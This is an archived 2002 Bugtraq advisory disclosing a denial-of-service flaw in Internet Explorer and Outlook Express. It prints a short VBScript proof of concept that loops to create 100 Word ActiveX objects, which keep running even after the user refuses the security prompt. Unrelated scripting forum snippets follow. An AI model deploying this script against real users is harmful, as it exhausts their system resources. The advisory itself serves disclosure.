IE Word ActiveX DoS Loop

From: eflorio@edmaster.it
Date: 04/08/02


Date: 8 Apr 2002 19:40:17 -0000
From: <eflorio@edmaster.it>
To: bugtraq@securityfocus.com


('binary' encoding is not supported, stored as-is)

There is a flaw in ActiveX object creation
used in VBscript for Word object; this can
be used as Denial of Service.

Try to use this code (remove "_" before using it) :

;<_SCRIPT LANGUAGE="VbScript">
;On Error Resume Next
;Dim a
;Dim i
;for i=1 to 100
;Set a = CreateObject("Word.Application")
;Next
;<_/SCRIPT>

This script will activate the security warning about
creation of an ActiveX object, but when someone
click on "NO" and deny execution
of the script, the script is stopped, but
the creation Word object in memory still
continues. This sample script creates 100 Word
object in memory.....it's a real DoS!
(try CTRL+ALT+CANC to see them)

Works for IE/Outlook Express and Word2000/XP
objects. Other office components (excel, powerpoint,
access, etc.) maybe not affected.

Elia Florio



Relevant Pages

  • Re: Are vbscript classes fast?
    ... Generally speaking, there is an overhead cost to creating a new scope, be it a function or a class, but the mere act of creating the scope is fairly rapid. ... I compared a generic function that just returned an empty value written in script and written as a method of a compiled component, and not surprisingly, the script function was slower by a factor of two - most likely due to scope creation. ... The MOST expensive way to create an object is to use WScript.CreateObject or Server.CreateObject instead of the native CreateObject in VBScript. ...
    (microsoft.public.scripting.vbscript)
  • Re: Create role on 64 bit extremely slow
    ... working properlly (except role creation), except that any change in a role ... made the whole AS server slow/ not responding (also other databases). ... generate the script and execute the script. ...
    (microsoft.public.sqlserver.olap)
  • Re: Copying the Latest FIle in a Directory in Win 2000/2003
    ... >>> Windows' default scheduler. ... >> batch script, since your requirement is to use the later of the created OR ... > assume that the modified date could not precede the creation date, ... > dates in a sortable format, like yyyy-mm-dd and times in 24hour format with ...
    (microsoft.public.windows.server.scripting)
  • Re: annoying cut and paste behavior in query analyzer
    ... brackets, verbose collation - whatever... ... Our first-commandment in our shop is to script everything. ... INSERT's, INDEX creation, table creation - STORED PROC creation. ... >> SQL Server MVP ...
    (microsoft.public.sqlserver.server)
  • Re: How to test the presence of a file and the date of its creation?
    ... there creation date. ... If the file is not present, the program stops. ... Here my script. ... There is no command called 'Exit'; ...
    (comp.unix.shell)